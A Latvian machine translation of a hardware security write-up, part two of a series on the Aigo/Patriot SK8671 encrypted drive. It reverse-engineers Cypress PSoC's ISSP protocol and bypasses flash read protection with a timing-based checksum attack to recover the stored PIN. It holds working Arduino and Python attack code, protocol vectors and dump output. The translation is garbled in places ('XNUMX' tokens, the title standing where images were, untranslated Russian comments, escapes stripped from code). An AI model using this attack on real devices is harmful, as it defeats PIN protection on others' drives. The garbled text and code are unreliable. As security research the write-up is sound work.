Aigo paššifrējošais ārējais HDD diskdzinis atpakaļgaitā un uzlaušana. 2. daļa: Izgāztuves noņemšana no Cypress PSoC

Šī ir raksta otrā un pēdējā daļa par ārējo paššifrējošu disku uzlaušanu. Atgādināšu, ka kāds kolēģis man nesen atnesa Patriot (Aigo) SK8671 cieto disku, un es nolēmu to mainīt, un tagad dalos ar to, kas no tā iznāca. Pirms lasīt tālāk, noteikti izlasi pirmā daļa raksti.

4. Mēs sākam ņemt dump no iekšējā PSoC zibatmiņas diska
5. ISSP protokols
– 5.1. Kas ir ISSP
– 5.2. Demistificējoši vektori
– 5.3. Saziņa ar PSoC
– 5.4. Mikroshēmu reģistru identifikācija
– 5.5. Drošības biti
6. Pirmais (neizdevies) uzbrukums: ROMX
7. Otrais uzbrukums: aukstās sāknēšanas izsekošana
– 7.1. Īstenošana
– 7.2. Izlasot rezultātu
– 7.3. Flash binārā rekonstrukcija
– 7.4. PIN koda uzglabāšanas adreses atrašana
– 7.5. Kluča Nr.126 izgāztuves paņemšana
– 7.6. PIN koda atkopšana
8. Kas tālāk?
9. Secinājums

Aigo paššifrējošais ārējais HDD diskdzinis atpakaļgaitā un uzlaušana. 2. daļa: Izgāztuves noņemšana no Cypress PSoC


4. Mēs sākam ņemt dump no iekšējā PSoC zibatmiņas diska

Tātad viss norāda (kā mēs noskaidrojām [pirmajā daļā]()), ka PIN kods tiek saglabāts PSoC zibspuldzes dziļumos. Tāpēc mums ir jāizlasa šie zibspuldzes dziļumi. Nepieciešamo darbu priekšpuse:

  • pārņemt kontroli pār “komunikāciju” ar mikrokontrolleri;
  • atrast veidu, kā pārbaudīt, vai šī “saziņa” ir pasargāta no lasīšanas no ārpuses;
  • atrast veidu, kā apiet aizsardzību.

Derīgu PIN kodu ir lietderīgi meklēt divās vietās:

  • iekšējā zibatmiņa;
  • SRAM, kur var saglabāt pin kodu, lai to salīdzinātu ar lietotāja ievadīto PIN kodu.

Raugoties uz priekšu, atzīmēšu, ka man tomēr izdevās izmest iekšējo PSoC zibatmiņas disku, apejot tā drošības sistēmu, izmantojot aparatūras uzbrukumu, ko sauc par “aukstās sāknēšanas izsekošanu”, pēc tam, kad apvērsu ISSP protokola nedokumentētās iespējas. Tas ļāva man tieši izmest faktisko PIN kodu.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Galīgais programmas kods:

5. ISSP protokols

5.1. Kas ir ISSP

“Saziņa” ar mikrokontrolleri var nozīmēt dažādas lietas: no “pārdevēja līdz pārdevējam” līdz mijiedarbībai, izmantojot seriālo protokolu (piemēram, ICSP Microchip PIC).

Cypress šim nolūkam ir savs patentēts protokols, ko sauc par ISSP (in-system serial programming protocol), kas daļēji ir aprakstīts tehniskā specifikācija. Patents US7185162 sniedz arī kādu informāciju. Ir arī OpenSource ekvivalents ar nosaukumu HSSP (mēs to izmantosim nedaudz vēlāk). ISSP darbojas šādi:

  • pārstartējiet PSoC;
  • izvadīt maģisko numuru šīs PSoC sērijas datu tapā; lai ieietu ārējā programmēšanas režīmā;
  • sūtīt komandas, kas ir garas bitu virknes, ko sauc par "vektoriem".

ISSP dokumentācija definē šos vektorus tikai nedaudzām komandām:

  • Inicializēt-1
  • Inicializēt-2
  • Inicializēt 3 (3 V un 5 V opcijas)
  • ID IESTATĪŠANA
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, kur dddddddd=bloka #
  • LIELAPJĀDZĒŠANA
  • PROGRAMMU BLOKS
  • VERIFY-SETUP
  • LASĪŠANAS BAITS: 10110aaaaaaZDDDDDDDDZ1, kur DDDDDDDD = datu izvadīšana, aaaaaa = adrese (6 biti)
  • WRITE-BYTE: 10010aaaaaaddddddd111, kur dddddddd = dati iekšā, aaaaaa = adrese (6 biti)
  • DROŠS
  • KONTROLES SUMMA-IESTATĪŠANA
  • LASĪT KONTROLES SUMMU: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kur DDDDDDDDDDDDDDDDDD = datu izvadīšana: ierīces kontrolsumma
  • DZĒST BLOKU

Piemēram, inicializācijas-2 vektors:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Visiem vektoriem ir vienāds garums: 22 biti. HSSP dokumentācijā ir papildu informācija par ISSP: "ISSP vektors ir nekas vairāk kā bitu secība, kas attēlo instrukciju kopu."

5.2. Demistificējoši vektori

Noskaidrosim, kas šeit notiek. Sākotnēji es pieņēmu, ka šie paši vektori ir M8C instrukciju neapstrādātas versijas, taču pēc šīs hipotēzes pārbaudes es atklāju, ka operāciju opkodi nesakrīt.

Tad es googlē pārmeklēju augstāk esošo vektoru un atradu šis pētījums, kurā autors, kaut arī neiedziļinās, sniedz dažus noderīgus padomus: “Katra instrukcija sākas ar trim bitiem, kas atbilst vienam no četriem mnemonikiem (lasīt no RAM, rakstīt uz RAM, lasīt reģistru, rakstīt reģistru). Pēc tam ir 8 adreses biti, kam seko 8 datu biti (lasīšanas vai rakstīšanas) un visbeidzot trīs pieturas biti.

Pēc tam es varēju iegūt ļoti noderīgu informāciju no uzraudzības ROM (SROM) sadaļas. tehniskā rokasgrāmata. SROM ir PSoC cietā kodēta ROM, kas nodrošina utilīta funkcijas (līdzīgi kā Syscall) programmas kodam, kas darbojas lietotāja telpā:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: Tabulas lasīšana
  • 07h: kontrolsumma
  • 08h: Kalibrēt0
  • 09h: Kalibrēt1

Salīdzinot vektoru nosaukumus ar SROM funkcijām, mēs varam kartēt dažādas šī protokola atbalstītās darbības ar paredzamajiem SROM parametriem. Pateicoties tam, mēs varam atšifrēt pirmos trīs ISSP vektoru bitus:

  • 100 => “Wrem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Tomēr pilnīgu izpratni par mikroshēmas procesiem var iegūt tikai tiešā saziņā ar PSoC.

5.3. Saziņa ar PSoC

Tā kā Dirks Petrautskis jau ir pārnests Cypress's HSSP kods Arduino, es izmantoju Arduino Uno, lai izveidotu savienojumu ar tastatūras plates ISSP savienotāju.

Lūdzu, ņemiet vērā, ka pētījuma laikā es diezgan daudz mainīju Dirka kodu. Manu modifikāciju varat atrast vietnē GitHub: šeit un atbilstošais Python skripts saziņai ar Arduino manā repozitorijā ciprese_psoc_tools.

Tātad, izmantojot Arduino, es vispirms izmantoju tikai “oficiālos” vektorus “saziņai”. Es mēģināju nolasīt iekšējo ROM, izmantojot komandu VERIFY. Kā gaidīts, es to nevarēju izdarīt. Iespējams, tas ir saistīts ar faktu, ka zibatmiņas diska iekšpusē ir aktivizēti lasīšanas aizsardzības biti.

Pēc tam es izveidoju dažus savus vienkāršos vektorus atmiņas/reģistru rakstīšanai un lasīšanai. Lūdzu, ņemiet vērā, ka mēs varam lasīt visu SROM, pat ja zibatmiņas disks ir aizsargāts!

5.4. Mikroshēmu reģistru identifikācija

Apskatot “izjauktos” vektorus, es atklāju, ka ierīce izmanto nedokumentētus reģistrus (0xF8-0xFA), lai norādītu M8C operācijas kodus, kas tiek izpildīti tieši, apejot aizsardzību. Tas ļāva man palaist dažādus operācijas kodus, piemēram, "ADD", "MOV A, X", "PUSH" vai "JMP". Pateicoties viņiem (apskatot blakusefektus, kas tiem ir uz reģistriem), es varēju noteikt, kuri no nedokumentētajiem reģistriem patiesībā ir parastie reģistri (A, X, SP un PC).

Rezultātā rīka HSSP_disas.rb ģenerētais “izjauktais” kods izskatās šādi (skaidrības labad pievienoju komentārus):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Drošības biti

Šajā posmā es jau varu sazināties ar PSoC, taču man joprojām nav ticamas informācijas par zibatmiņas diska drošības bitiem. Mani ļoti pārsteidza fakts, ka Cypress nenodrošina ierīces lietotājam nekādus līdzekļus, lai pārbaudītu, vai aizsardzība ir aktivizēta. Es iedziļinājos Google, lai beidzot saprastu, ka Cypress nodrošinātais HSSP kods tika atjaunināts pēc tam, kad Dirks izlaida savu modifikāciju. Līdz ar to! Ir parādījies šis jaunais vektors:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Izmantojot šo vektoru (skatiet read_security_data vietnē psoc.py), mēs iegūstam visus drošības bitus SRAM ar 0x80, kur katrā aizsargātajā blokā ir divi biti.

Rezultāts ir nomācošs: viss ir aizsargāts režīmā “Atspējot ārējo lasīšanu un rakstīšanu”. Tāpēc mēs ne tikai neko nevaram nolasīt no zibatmiņas diska, bet arī nevaram neko rakstīt (piemēram, lai tur instalētu ROM pašizgāzēju). Un vienīgais veids, kā atspējot aizsardzību, ir pilnībā izdzēst visu mikroshēmu. 🙁

6. Pirmais (neizdevies) uzbrukums: ROMX

Tomēr mēs varam izmēģināt šādu triku: tā kā mums ir iespēja izpildīt patvaļīgus opkodus, kāpēc gan neizpildīt ROMX, ko izmanto zibatmiņas nolasīšanai? Šai pieejai ir labas izredzes gūt panākumus. Tā kā funkcija ReadBlock, kas nolasa datus no SROM (ko izmanto vektori), pārbauda, ​​vai tie tiek izsaukti no ISSP. Tomēr ROMX operētājkodam šādas pārbaudes var nebūt. Tātad, šeit ir Python kods (pēc dažu palīgu klašu pievienošanas Arduino kodam):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Diemžēl šis kods nedarbojas. 🙁 Pareizāk sakot, tas darbojas, bet mēs izejā saņemam savus opkodus (0x28 0x30 0x40)! Es nedomāju, ka atbilstošā ierīces funkcionalitāte ir lasīšanas aizsardzības elements. Tas ir vairāk kā inženierijas triks: izpildot ārējos opkodus, ROM kopne tiek novirzīta uz pagaidu buferi.

7. Otrais uzbrukums: aukstās sāknēšanas izsekošana

Tā kā ROMX triks nedarbojās, sāku domāt par citu šī trika variantu - aprakstīts publikācijā "Pārāk daudz gaismas izkliedēšana uz mikrokontrollera programmaparatūras aizsardzību".

7.1. Īstenošana

ISSP dokumentācija nodrošina šādu CHECKSUM-SETUP vektoru:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Tas būtībā izsauc SROM funkciju 0x07, kā parādīts dokumentācijā (slīpraksts mans):

Šīs funkcijas kontrolsummas pārbaude. Tas aprēķina 16 bitu kontrolsummu lietotāja norādīto bloku skaitam vienā flash bankā, sākot no nulles. Parametrs BLOCKID tiek izmantots, lai nodotu bloku skaitu, kas tiks izmantots, aprēķinot kontrolsummu. Vērtība "1" aprēķinās tikai nulles bloka kontrolsummu; tā kā Ar "0" tiks aprēķināta visu 256 zibatmiņas bankas bloku kopējā kontrolsumma. 16 bitu kontrolsumma tiek atgriezta, izmantojot KEY1 un KEY2. Parametrs KEY1 saglabā zemākās kārtas 8 kontrolsummas bitus, bet parametrs KEY2 saglabā augstākās kārtas 8 bitus. Ierīcēm ar vairākām zibatmiņas bankām kontrolsummas funkcija tiek izsaukta katrai atsevišķi. Bankas numuru, ar kuru tas darbosies, nosaka reģistrs FLS_PR1 (iestatot tajā bitu, kas atbilst mērķa zibatmiņas bankai).

Ņemiet vērā, ka šī ir vienkārša kontrolsumma: baiti tiek vienkārši pievienoti viens pēc otra; nekādu iedomātu CRC dīvainību. Turklāt, zinot, ka M8C kodolam ir ļoti mazs reģistru kopums, es pieņēmu, ka, aprēķinot kontrolsummu, starpvērtības tiks ierakstītas tajos pašos mainīgajos, kas galu galā nonāks izvadā: KEY1 (0xF8) / KEY2 ( 0xF9).

Tātad teorētiski mans uzbrukums izskatās šādi:

  1. Mēs savienojam, izmantojot ISSP.
  2. Mēs sākam kontrolsummas aprēķinu, izmantojot CHECKSUM-SETUP vektoru.
  3. Mēs pārstartējam procesoru pēc noteikta laika T.
  4. Mēs lasām RAM, lai iegūtu pašreizējo kontrolsummu C.
  5. Atkārtojiet 3. un 4. darbību, katru reizi nedaudz palielinot T.
  6. Mēs atgūstam datus no zibatmiņas diska, atņemot iepriekšējo kontrolsummu C no pašreizējās.

Tomēr pastāv problēma: vektors Initialize-1, kas mums jānosūta pēc pārstartēšanas, pārraksta KEY1 un KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Šis kods pārraksta mūsu dārgo kontrolsummu, izsaucot Calibrate1 (SROM funkcija 9)... Varbūt mēs varam vienkārši nosūtīt maģisko numuru (no iepriekš minētā koda sākuma), lai ieietu programmēšanas režīmā, un pēc tam nolasīt SRAM? Un jā, tas darbojas! Arduino kods, kas īsteno šo uzbrukumu, ir diezgan vienkāršs:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Izlasiet checkum_delay.
  2. Palaidiet kontrolsummas aprēķinu (send_checksum_v).
  3. Pagaidiet noteiktu laiku; ņemot vērā šādas nepilnības:
    • Es tērēju daudz laika, līdz uzzināju, kas izrādās kavēšanās Mikrosekundes darbojas pareizi tikai ar aizkavi, kas nepārsniedz 16383 μs;
    • un pēc tam atkal nogalināja tikpat daudz laika, līdz atklāju, ka delayMicroseconds, ja tai tiek nodota 0 kā ievade, darbojas pilnīgi nepareizi!
  4. Pārstartējiet PSoC programmēšanas režīmā (mēs vienkārši nosūtām maģisko numuru, nesūtot inicializācijas vektorus).

Galīgais kods Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Īsumā, ko šis kods dara:

  1. Pārstartē PSoC (un nosūta tai maģisku numuru).
  2. Nosūta pilnus inicializācijas vektorus.
  3. Izsauc Arduino funkciju Cmnd_STK_START_CSUM (0x85), kur kā parametrs tiek nodota aizkave mikrosekundēs.
  4. Nolasa kontrolsummu (0xF8 un 0xF9) un nedokumentēto reģistru 0xF1.

Šis kods tiek izpildīts 10 reizes 1 mikrosekundē. Šeit ir iekļauts 0xF1, jo tas bija vienīgais reģistrs, kas mainījās, aprēķinot kontrolsummu. Varbūt tas ir sava veida pagaidu mainīgais, ko izmanto aritmētiskā loģiskā vienība. Ņemiet vērā neglīto uzlaušanu, ko izmantoju, lai atiestatītu Arduino, izmantojot picocom, kad Arduino pārstāj rādīt dzīvības pazīmes (nav ne jausmas, kāpēc).

7.2. Izlasot rezultātu

Python skripta rezultāts izskatās šādi (vienkāršots lasāmībai):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

To sakot, mums ir problēma: tā kā mēs strādājam ar faktisko kontrolsummu, nulles baits nemaina nolasīto vērtību. Tomēr, tā kā visa aprēķina procedūra (8192 baiti) aizņem 0,1478 sekundes (ar nelielām izmaiņām katrā izpildes reizē), kas ir aptuveni 18,04 μs uz baitu, mēs varam izmantot šo laiku, lai pārbaudītu kontrolsummas vērtību atbilstošos laikos. Pirmajos piegājienos viss tiek nolasīts diezgan viegli, jo skaitļošanas procedūras ilgums vienmēr ir gandrīz vienāds. Tomēr šīs izgāztuves beigas ir mazāk precīzas, jo “nelielās laika novirzes” katrā izpildē kļūst nozīmīgas:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Tas ir 10 izgāztuves par katru mikrosekundes aizkavi. Kopējais darbības laiks visu 8192 baitu zibatmiņas diska izmešanai ir aptuveni 48 stundas.

7.3. Flash binārā rekonstrukcija

Es vēl neesmu pabeidzis rakstīt koda, kas pilnībā rekonstruēs zibatmiņas diska programmas kodu, ņemot vērā visas laika novirzes. Tomēr es jau esmu atjaunojis šī koda sākumu. Lai pārliecinātos, ka es to izdarīju pareizi, es to izjaucu, izmantojot m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Izskatās diezgan ticami!

7.4. PIN koda uzglabāšanas adreses atrašana

Tagad, kad mēs varam nolasīt kontrolsummu vajadzīgajā laikā, mēs varam viegli pārbaudīt, kā un kur tā mainās, kad:

  • ievadiet nepareizu PIN kodu;
  • mainiet pin kodu.

Pirmkārt, lai atrastu aptuveno krātuves adresi, pēc atsāknēšanas es paņēmu kontrolsummu ar 10 ms soli. Tad es ievadīju nepareizu PIN un darīju to pašu.

Rezultāts nebija īpaši patīkams, jo bija daudz izmaiņu. Bet galu galā es varēju noteikt, ka kontrolsumma mainījās kaut kur starp 120000 140000 µs un 0 XNUMX µs aizkavi. Bet “pinkods”, ko es tur parādīju, bija pilnīgi nepareizs — kavēšanāsMicroseconds procedūras artefakta dēļ, kas rada dīvainas lietas, kad tam tiek nodots XNUMX.

Tad pēc gandrīz 3 stundu pavadīšanas atcerējos, ka SROM sistēmas izsaukums CheckSum kā ievadi saņem argumentu, kas norāda kontrolsummas bloku skaitu! Tas. varam ērti lokalizēt PIN koda glabāšanas adresi un “nepareizo mēģinājumu” skaitītāju, ar precizitāti līdz 64 baitu blokam.

Mani sākotnējie skrējieni deva šādu rezultātu:

Aigo paššifrējošais ārējais HDD diskdzinis atpakaļgaitā un uzlaušana. 2. daļa: Izgāztuves noņemšana no Cypress PSoC

Tad es nomainīju PIN kodu no "123456" uz "1234567" un saņēmu:

Aigo paššifrējošais ārējais HDD diskdzinis atpakaļgaitā un uzlaušana. 2. daļa: Izgāztuves noņemšana no Cypress PSoC

Tādējādi PIN kods un nepareizo mēģinājumu skaitītājs šķiet saglabāts blokā Nr.126.

7.5. Kluča Nr.126 izgāztuves paņemšana

Blokam #126 vajadzētu atrasties kaut kur ap 125x64x18 = 144000μs, no kontrolsummas aprēķina sākuma manā pilnajā izgāztuvē, un tas izskatās diezgan ticami. Pēc tam, manuāli izsijājot daudzas nederīgas izgāztuves (sakarā ar "nelielu laika noviržu" uzkrāšanos), es ieguvu šos baitus (ar latentumu 145527 μs):

Aigo paššifrējošais ārējais HDD diskdzinis atpakaļgaitā un uzlaušana. 2. daļa: Izgāztuves noņemšana no Cypress PSoC

Pilnīgi skaidrs, ka PIN kods tiek glabāts nešifrētā veidā! Šīs vērtības, protams, nav rakstītas ASCII kodos, bet, kā izrādās, tās atspoguļo rādījumus, kas ņemti no kapacitatīvās tastatūras.

Visbeidzot, es veicu vēl dažus testus, lai noskaidrotu, kur tika saglabāts slikto mēģinājumu skaitītājs. Lūk, rezultāts:

Aigo paššifrējošais ārējais HDD diskdzinis atpakaļgaitā un uzlaušana. 2. daļa: Izgāztuves noņemšana no Cypress PSoC

0xFF - nozīmē "15 mēģinājumi", un tas samazinās ar katru neveiksmīgo mēģinājumu.

7.6. PIN koda atkopšana

Šeit ir mans neglītais kods, kas apvieno iepriekš minēto:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Šeit ir tā izpildes rezultāts:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Urrā! Darbojas!

Lūdzu, ņemiet vērā, ka manis izmantotās latentuma vērtības, iespējams, attiecas uz vienu konkrētu PSoC — to, kuru izmantoju.

8. Kas tālāk?

Tātad, apkoposim par PSoC pusi mūsu Aigo diska kontekstā:

  • mēs varam nolasīt SRAM pat tad, ja tas ir nolasīts aizsargāts;
  • Mēs varam apiet pretvilkšanas aizsardzību, izmantojot aukstās sāknēšanas izsekošanas uzbrukumu un tieši nolasot PIN kodu.

Tomēr mūsu uzbrukumam ir daži trūkumi sinhronizācijas problēmu dēļ. To varētu uzlabot šādi:

  • uzrakstiet utilītu, lai pareizi atšifrētu izejas datus, kas iegūti "aukstās sāknēšanas izsekošanas" uzbrukuma rezultātā;
  • izmantojiet FPGA sīkrīku, lai izveidotu precīzākus laika aizkaves (vai izmantojiet Arduino aparatūras taimerus);
  • izmēģiniet citu uzbrukumu: ievadiet apzināti nepareizu PIN kodu, pārstartējiet un izmetiet RAM, cerot, ka pareizais PIN kods tiks saglabāts RAM salīdzināšanai. Tomēr Arduino to nav tik vienkārši izdarīt, jo Arduino signāla līmenis ir 5 volti, savukārt mūsu pārbaudāmā plate darbojas ar 3,3 voltu signāliem.

Viena interesanta lieta, ko varētu izmēģināt, ir spēlēties ar sprieguma līmeni, lai apietu nolasīšanas aizsardzību. Ja šī pieeja darbotos, mēs varētu iegūt pilnīgi precīzus datus no zibatmiņas diska, nevis paļauties uz kontrolsummas nolasīšanu ar neprecīzu laika aizkavi.

Tā kā SROM, iespējams, nolasa aizsargbitus, izmantojot ReadBlock sistēmas zvanu, mēs varētu darīt to pašu aprakstīts Dmitrija Ņedospasova emuārā - konferencē izsludināta Krisa Gerlinska uzbrukuma atkārtota īstenošana "REcon Brussels 2017".

Vēl viena jautra lieta, ko varētu darīt, ir noņemt korpusu no mikroshēmas: izņemt SRAM izgāztuvi, identificēt nedokumentētus sistēmas zvanus un ievainojamības.

9. Secinājums

Tātad šī diska aizsardzība atstāj daudz ko vēlēties, jo PIN koda glabāšanai tas izmanto parastu (nevis “rūdīto”) mikrokontrolleri... Turklāt (vēl) neesmu apskatījis, kā iet ar datiem šifrēšana šajā ierīcē!

Ko jūs varat ieteikt Aigo? Izanalizējis pāris šifrētu HDD disku modeļus, 2015. gadā es izveidoju prezentācija vietnē SyScan, kurā viņš pārbaudīja vairāku ārējo HDD disku drošības problēmas un sniedza ieteikumus par to, ko tajos varētu uzlabot. 🙂

Es pavadīju divas nedēļas nogales un vairākus vakarus, veicot šo pētījumu. Kopā apmēram 40 stundas. Skaitīšana no paša sākuma (kad atvēru disku) līdz beigām (PIN koda dump). Tajās pašās 40 stundās ir iekļauts laiks, ko pavadīju rakstot šo rakstu. Tas bija ļoti aizraujošs ceļojums.

Avots: www.habr.com

Pievieno komentāru